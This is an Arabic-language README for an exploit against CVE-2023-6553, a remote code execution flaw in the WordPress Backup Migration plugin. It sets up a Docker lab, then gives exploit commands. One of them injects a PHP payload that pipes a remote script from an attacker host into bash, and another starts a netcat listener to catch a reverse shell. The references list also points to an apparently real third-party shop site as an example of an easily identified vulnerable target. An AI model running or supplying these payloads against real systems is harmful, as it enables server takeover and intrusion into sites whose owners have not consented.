CVE-2023-6553

تطوير استغلال الثغرة CVE-2023-6553 في إضافة النسخ الاحتياطي في ووردبريس

هذه ثغرة حرجة بدرجة CVSS تبلغ 9.8

تسمح الثغرة للمهاجم بإرسال أوامر إلى الخادم الذي يشغل الإصدار الضعيف من الإضافة

الإصدار الضعيف Backup <= 1.3.7

الإعداد

1. استنساخ المستودع

git clone <repository>

2. قم بتشغيل الأمر أدناه لإعداد حاويات دوكر

docker-compose up -d

يجب أن ترى حاويتي دوكر

• Wordpress
• SQL

3. الآن يمكنك التنقل إلى موقع ووردبريس على عنوان IP لحاوية دوكر، ويمكن الوصول إليه أيضًا على

http://localhost:8000/

4. لتثبيت إضافة النسخ الاحتياطي الضعيفة، قم بتشغيل الأمر التالي

wget https://downloads.wordpress.org/plugin/backup-backup.1.3.6.zip

5. الآن قم بتسجيل الدخول إلى موقع ووردبريس باستخدام الرابط في الخطوة 3 وقم بتثبيت إضافة النسخ الاحتياطي بعد تنزيلها من الأمر أعلاه

الاستغلال

1. ابدأ مستمعًا على المنفذ 9000 لاستقبال الاستدعاءات عند تشغيل الاستغلال.

python3 -m http.server

2. قم بتشغيل السكريبت بلغة Go باستخدام الأمر التالي

go run exploit.go -chain="<?php exec('curl <HOST_IP>:9000/a.sh |bash');?>"

3. ستحصل على الخطأ التالي

HTTP Response Body:  <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Size of a request header field exceeds server limit.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 172.18.0.3 Port 80</address>
</body></html>

هذا لأن حجم رأس الطلب، بعد تحويلات المرشحات، يتجاوز ما يسمح به الخادم.

4. لذا نقوم الآن بتقسيم أمرنا إلى أجزاء، وكتابته إلى ملف على الخادم البعيد ثم تنفيذه، ولكن قبل ذلك يجب أن نبدأ الاستماع للحصول على شل عكسي

nc -nlvp 8080

والآن قم بتشغيل الأمر لاستغلال الإضافة الضعيفة

python3 final_exploit.py

5. يجب أن تحصل على شل عكسي في هذه المرحلة

المراجع

• https://patchstack.com/articles/test-wordpress-plugin-security/
• https://patchstack.com/whitepaper/the-state-of-wordpress-security-in-2021/
• https://wordpress.org/plugins/backup-backup/
• https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/backup-backup/backup-migration-137-unauthenticated-remote-code-execution
• https://plugins.trac.wordpress.org/browser/backup-backup/​
• https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py ​
• https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it ​
• مدى سهولة التحقق من وجود إصدار ضعيف من ووردبريس: https://www.thetraveloutlier.com/shop/​